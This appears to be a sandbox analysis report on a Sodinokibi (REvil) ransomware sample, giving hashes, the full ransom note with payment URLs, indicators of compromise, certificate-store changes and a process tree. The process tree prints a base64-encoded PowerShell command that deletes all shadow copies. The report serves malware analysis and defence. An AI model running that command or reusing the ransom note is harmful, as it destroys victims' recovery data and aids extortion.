sodinokibi | d91fb28bbaf54e85e5a87e608c2bb630e7be06815f17541d680823faab4a8fb5

General

Target

d91fb28bbaf54e85e5a87e608c2bb630e7be06815f17541d680823faab4a8fb5.bin.exe.dll
Size

116KB
MD5

f8c9fd29c9cded8ceda5876b41666f70
SHA1

35d95ecbdb2045906e7d61f10495af1a009b413e
SHA256

d91fb28bbaf54e85e5a87e608c2bb630e7be06815f17541d680823faab4a8fb5
SHA512

c7f44b93315e606d75096e2fd54a826bd808e30ea9344f82ceb9238b608f6ff6e95619c7c40a7253b10d9b1ab8d4184be726d6f0c3f114e3986eac74a8491197

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Path

C:\57d82d60c7-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 57d82d60c7. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4CAA9B11342EBA93 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/4CAA9B11342EBA93 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: lgW2AlrR9Z/vwskT6QMCneTJ+H/mtPDHPhGeFuJcTKNmrR0h780trQFrfy8ZW5Js vzGtJYDE0/9GNkPcMaI104kpJir97w/uO8Oh80/Mgn0SyFzc+HwGdWrCzifB4Lsq TGG5qTBxY663AS0mAuhj1rI07r4S6Q69/mQzfUAAM1neI3r/Quvsc/WbbPU/MMql 98oFRDZTAkoyf7ywkD8T0DjY3x57w47KAwkeoSyzNhGR45QdAPSvLL2Aw8bSIX/o o5bDF4PSDTOOZUt3jHnQwONTifLnftlo+4zrr5CGDQg7EWYAS1zqZ0CGVcStELNh orDOI0HQgDwor4VTeh1Wbkd46i2LPn2uebFlRW7HrHL4xYVrOythDhgzrn6iVi4i Q4+rxz7FVPf4UXUwVYxZaR+zdDk6l3iODtwTMC92RNOD5mjxliDF9sFc5FQpQZiT nJlVuY4Md3Dds1ndP9MjmvBATiI9MS/EtlIkPkjcBRpdpSwutO+StDWrzCva+i5i XPYXnVbRfHAgzfaRarA8yE2YxySjsTy5HqIycaEX02IsfhYm0qQkvd3nHytOG93K ixYPKGrsVqJdc/q4w+7KhTm/axkLpMyVEilLfWwTagEVfsJDNeTWBJCcih7ATMTB Veer43w5kCfmYBVOQEVlu8evd2UEFmjB85UBVxAPP9+NXjpWUgZrbV7LvWmWKJ31 2Ovt4eEfsWJ2uoYWxNvRkUOW/LUqBHVdRdOzx6dttzFVBASFrpma4/ZdQAf3dPW5 BWHKi64xqOfB8v5EcepY+OrLFUpZeQfgg+GZAZF9Xqh2Ek6zPu7tJlYznRisD0DA ENuyh6dabojXLyFnocIVBiQDgldAgz33I8Z7xwUoK+1u9aBLsk2/is01g5d0jqOI /gkbIg2Gj95MHqjIjwXiXVgKRxryB68WaPJOq3wjR7a0R4zYqw7Nx4bNJJGy79ar NnTEW+URxskcoEeJYTLnF9LC1A2kXfTymlJYqbg1B3wZAvU6hNwljz8/lAthRuiR 2tyN0mjDgwda3bIaZe2UEL8Wh3ZT4sTjsO8I5KcZgQkE5XlWQ8tagjOiC8FuDzNV ncVNsOWk/XDf9efFfatSNhrs5NXrJH+O20c9ARL5dgAJeB6pHlj29/KY8LUfms6K MXxHSyEVBrfUOsdlGWIrbhTs7aQHnyZW8i/jX4RM6RiPw5JkvsCVV8Es4JE46x46 k0MhJJQFxwFdJsr9uOUsCEIR/XCAGivuGLeZDm11+qIn6sfSR73VKvuAVejhz80S T0cFuFQjn0CEyHN5geBQHwub2Qw+tET3AG7OmTKfbj8cLLX5NPiS8A== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/4CAA9B11342EBA93

http://decryptor.cc/4CAA9B11342EBA93

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Blacklisted process makes network request 157 IoCs

Processes:

rundll32.exe

flow	pid	process
3	884	rundll32.exe
5	884	rundll32.exe
7	884	rundll32.exe
8	884	rundll32.exe
10	884	rundll32.exe
15	884	rundll32.exe
17	884	rundll32.exe
18	884	rundll32.exe
20	884	rundll32.exe
22	884	rundll32.exe
24	884	rundll32.exe
27	884	rundll32.exe
29	884	rundll32.exe
31	884	rundll32.exe
33	884	rundll32.exe
35	884	rundll32.exe
37	884	rundll32.exe
39	884	rundll32.exe
41	884	rundll32.exe
43	884	rundll32.exe
45	884	rundll32.exe
47	884	rundll32.exe
49	884	rundll32.exe
51	884	rundll32.exe
52	884	rundll32.exe
54	884	rundll32.exe
55	884	rundll32.exe
56	884	rundll32.exe
57	884	rundll32.exe
58	884	rundll32.exe
59	884	rundll32.exe
60	884	rundll32.exe
61	884	rundll32.exe
63	884	rundll32.exe
64	884	rundll32.exe
66	884	rundll32.exe
67	884	rundll32.exe
69	884	rundll32.exe
70	884	rundll32.exe
73	884	rundll32.exe
74	884	rundll32.exe
77	884	rundll32.exe
78	884	rundll32.exe
80	884	rundll32.exe
81	884	rundll32.exe
83	884	rundll32.exe
84	884	rundll32.exe
86	884	rundll32.exe
88	884	rundll32.exe
90	884	rundll32.exe
92	884	rundll32.exe
94	884	rundll32.exe
96	884	rundll32.exe
97	884	rundll32.exe
99	884	rundll32.exe
101	884	rundll32.exe
102	884	rundll32.exe
104	884	rundll32.exe
105	884	rundll32.exe
107	884	rundll32.exe
109	884	rundll32.exe
111	884	rundll32.exe
112	884	rundll32.exe
114	884	rundll32.exe

Modifies extensions of user files 1 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

rundll32.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\CompareUnprotect.crw => \??\c:\users\admin\pictures\CompareUnprotect.crw.57d82d60c7	rundll32.exe

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	rundll32.exe

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2u1o08x.bmp"	rundll32.exe

Drops file in Program Files directory 30 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	\??\c:\program files\MeasureNew.avi	rundll32.exe
File opened for modification	\??\c:\program files\RestartRepair.txt	rundll32.exe
File opened for modification	\??\c:\program files\SplitGrant.sql	rundll32.exe
File opened for modification	\??\c:\program files\TraceMove.cr2	rundll32.exe
File opened for modification	\??\c:\program files\UpdateProtect.eprtx	rundll32.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\57d82d60c7-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConvertFromInstall.wmv	rundll32.exe
File opened for modification	\??\c:\program files\ExitEnable.html	rundll32.exe
File created	\??\c:\program files\microsoft sql server compact edition\57d82d60c7-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\OptimizeUninstall.rmi	rundll32.exe
File opened for modification	\??\c:\program files\PushNew.htm	rundll32.exe
File created	\??\c:\program files\57d82d60c7-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ClearPush.css	rundll32.exe
File opened for modification	\??\c:\program files\MoveSearch.avi	rundll32.exe
File created	\??\c:\program files (x86)\57d82d60c7-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\CompleteConnect.vsw	rundll32.exe
File opened for modification	\??\c:\program files\SelectUnlock.m4v	rundll32.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\57d82d60c7-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\PublishSplit.temp	rundll32.exe
File opened for modification	\??\c:\program files\RegisterRepair.reg	rundll32.exe
File opened for modification	\??\c:\program files\MergeDismount.vssm	rundll32.exe
File opened for modification	\??\c:\program files\ClearGrant.wmf	rundll32.exe
File opened for modification	\??\c:\program files\DenyOptimize.ttf	rundll32.exe
File opened for modification	\??\c:\program files\ConvertToDebug.htm	rundll32.exe
File opened for modification	\??\c:\program files\ReceiveOpen.emz	rundll32.exe
File opened for modification	\??\c:\program files\RequestConvertFrom.easmx	rundll32.exe
File opened for modification	\??\c:\program files\EnterConvertTo.mpeg	rundll32.exe
File opened for modification	\??\c:\program files\InitializeWait.xhtml	rundll32.exe
File opened for modification	\??\c:\program files\ConvertFromNew.DVR	rundll32.exe
File opened for modification	\??\c:\program files\DebugSkip.jfif	rundll32.exe

Modifies system certificate store 2 TTPs 8 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85A408C09C193E5D51587DCDD61330FD8CDE37BF	rundll32.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85A408C09C193E5D51587DCDD61330FD8CDE37BF\Blob = 43000000010000000000000004000000010000001000000074014a91b108c458ce47cdf0dd1153080f0000000100000014000000ff99b1116eca7b69f516900dea2d12202453b5111900000001000000100000000790dd35d0de1a5516689a62748c58eb03000000010000001400000085a408c09c193e5d51587dcdd61330fd8cde37bf1d000000010000001000000048c1184e28125121aeeef1a32ce0d46714000000010000001400000031c3791bbaf553d717e0897a2d176c0ab32b9d33090000000100000016000000301406082b0601050507030406082b060105050703010b0000000100000036000000440065007500740073006300680065002000540065006c0065006b006f006d00200052006f006f0074002000430041002000320000002000000001000000a30300003082039f30820287a003020102020126300d06092a864886f70d01010505003071310b3009060355040613024445311c301a060355040a131344657574736368652054656c656b6f6d204147311f301d060355040b1316542d54656c655365632054727573742043656e746572312330210603550403131a44657574736368652054656c656b6f6d20526f6f742043412032301e170d3939303730393132313130305a170d3139303730393233353930305a3071310b3009060355040613024445311c301a060355040a131344657574736368652054656c656b6f6d204147311f301d060355040b1316542d54656c655365632054727573742043656e746572312330210603550403131a44657574736368652054656c656b6f6d20526f6f74204341203230820122300d06092a864886f70d01010105000382010f003082010a0282010100ab0ba335e08b2914b11485af3c10e4396f355d4aaeddea618d9549f46f64a31a6066a4a9402284d9d4a5e578930e6801adb94d5c3aced3b8a84240dfcfa3ba82596a921bac1c9ada082b2527f9692347f1e0eb2c7a9bf51302d07e347cc29e3c0059abf5da0cf5323c2bac50dad6c3de8394caa80c99320e0848565b6afbdae1585801495f72413c1506018e5dadaab893b4cd9eeba7e86a2d5234db3aef5c7551dadbf331f9ee719832c45415440cf99b55edaddf1808a0a3868a49ee53058f194cd5de58799bd26a1c42abc5d5a7cf680f96e4e161987661c8917cd63e00e2915087e19d0ae6ad97d21dc63a7dcbbcda0334d58e5b01f56a07b716b66e4a7f0203010001a3423040301d0603551d0e0416041431c3791bbaf553d717e0897a2d176c0ab32b9d33300f0603551d13040830060101ff020105300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100946459ad3964e729eb13fe5ac38b1357c80424f07477c060e367fbe989a683bf96827c6ed4c33def9e806ebb29b4987ab13b54eb3917477e1a8e0bfc1f31593104b2ce17f32cc7623655e222d88955b49848aa64fad61c36d844785a5a233a5797f57a304fae9f6a4c4b2b8ea003e33ee0a9d4d27bd2b3a8e2723cad9eff8059e49b45b4f63bb0cd39199832e5ea216190e431218e34b1f72f354a8510dae78a3721be5963e0f285883153d45414857079f42e067727752f1fb88af9fec5bad836e483ece765b7bf635af346af819437d4418cd623d61ecff5681b4463a25abaa73559a1e570059b0e235799940a6dba3963288692f31884d8fbd1cf05566457	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B\Blob = 0300000001000000140000008d4c4a23ba9ee84ea7348fa98cc6e65fbb69de7b19000000010000001000000082218ffb91733e64136be5719f57c3a1040000000100000010000000ab9b109ce8934f11e7cd22ed550680da0f0000000100000030000000a768343c4aeaced5c72f3571938864983a67ed49031c1da2495863caf65fe507011f7f0e70b6cb40e5631c07721be034140000000100000014000000bbaf7e023dfaa6f13c848eadee3898ecd93232d41800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa22000000001000000820500003082057e30820466a003020102021067def43ef17bdae24ff5940606d2c084300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010091e85492d20a56b1ac0d24ddc5cf446774992b37a37d23700071bc53dfc4fa2a128f4b7f1056bd9f7072b7617fc94b0f17a73de3b00461eeff1197c7f4863e0afa3e5cf993e6347ad9146be79cb385a0827a76af7190d7ecfd0dfa9c6cfadfb082f4147ef9bec4a62f4f7f997fb5fc674372bd0c00d689eb6b2cd3ed8f981c14ab7ee5e36efcd8a8e49224da436b62b855fdeac1bc6cb68bf30e8d9ae49b6c6999f878483045d5ade10d3c4560fc32965127bc67c3ca2eb66bea46c7c720a0b11f65de4808baa44ea9f283463784ebe8cc814843674e722a9b5cbd4c1b288a5c227bb4ab98d9eee05183c309464e6d3e99fa9517da7c3357413c8d51ed0bb65caf2c631adf57c83fbce95dc49baf4599e2a35a24b4baa9563dcf6faaff4958bef0a8fff4b8ade937fbbab8f40b3af9e843421e89d884cb13f1d9bbe18960b88c2856ac141d9c0ae771ebcf0edd3da996a148bd3cf7afb50d224cc01181ec563bf6d3a2e25bb7b204225295809369e88e4c65f191032d707402ea8b671529695202bbd7df506a5546bfa0a328617f70d0c3a2aa2c21aa47ce289c064576bf821827b4d5aeb4cb50e66bf44c867130e9a6df1686e0d8ff40ddfbd042887fa3333a2e5c1e41118163ce18716b2beca68ab7315c3a6a47e0c37959d6201aaff26a98aa72bc574ad24b9dbb10fcb04c41e5ed1d3d5e289d9cccbfb351daa747e584530203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e04160414bbaf7e023dfaa6f13c848eadee3898ecd93232d4300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c050003820101007ff25635b06d954a4e74af3ae26f018b87d33297edf840d2775311d7c7162ec69de64856be80a9f8bc78d2c86317ae8ced1631fa1f18c90ec7ee48799fc7c9b9bccc8815e36861d19f1d4b6181d7560463c2086926f0f0e52fdfc00a2ba905f4025a6a89d7b4844295e3ebf776205e35d9c0cd2508134c71388e87b0338491991e91f1ac9e3fa71d60812c364154a0e246060bac1bc799368c5ea10ba49ed9424624c5c55b81aeada0a0dc9f36b88dc21d15fa88ad8110391f44f02b9fdd10540c0734b136d114fd07023dff7255ab27d62c814171298d41f450571a7e6560afcbc5287698aeb3a853768be621526bea21d0840e494e8853da922ee71d0866d7	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	rundll32.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

rundll32.exepowershell.exe

pid process

884 rundll32.exe
1460 powershell.exe
1460 powershell.exe

pid	process
884	rundll32.exe
1460	powershell.exe
1460	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	884	rundll32.exe
Token: SeDebugPrivilege	1460	powershell.exe
Token: SeBackupPrivilege	1848	vssvc.exe
Token: SeRestorePrivilege	1848	vssvc.exe
Token: SeAuditPrivilege	1848	vssvc.exe
Token: SeTakeOwnershipPrivilege	884	rundll32.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 612 wrote to memory of 884	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 884	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 884	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 884	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 884	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 884	612	rundll32.exe	rundll32.exe
PID 612 wrote to memory of 884	612	rundll32.exe	rundll32.exe
PID 884 wrote to memory of 1460	884	rundll32.exe	powershell.exe
PID 884 wrote to memory of 1460	884	rundll32.exe	powershell.exe
PID 884 wrote to memory of 1460	884	rundll32.exe	powershell.exe
PID 884 wrote to memory of 1460	884	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\d91fb28bbaf54e85e5a87e608c2bb630e7be06815f17541d680823faab4a8fb5.bin.exe.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:612

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\d91fb28bbaf54e85e5a87e608c2bb630e7be06815f17541d680823faab4a8fb5.bin.exe.dll,#1
2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:884

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1460

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1616

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1848

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Install Root Certificate

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/884-0-0x0000000000000000-mapping.dmp

Download
memory/1460-1-0x0000000000000000-mapping.dmp

Download
memory/1460-2-0x000007FEF5BE0000-0x000007FEF65CC000-memory.dmp

Filesize
9.9MB

Download
memory/1460-3-0x0000000002460000-0x0000000002461000-memory.dmp

Filesize
4KB

Download
memory/1460-4-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

Filesize
4KB

Download
memory/1460-5-0x0000000002550000-0x0000000002551000-memory.dmp

Filesize
4KB

Download
memory/1460-6-0x00000000024A0000-0x00000000024A1000-memory.dmp

Filesize
4KB

Download
memory/1460-7-0x000000001B510000-0x000000001B511000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads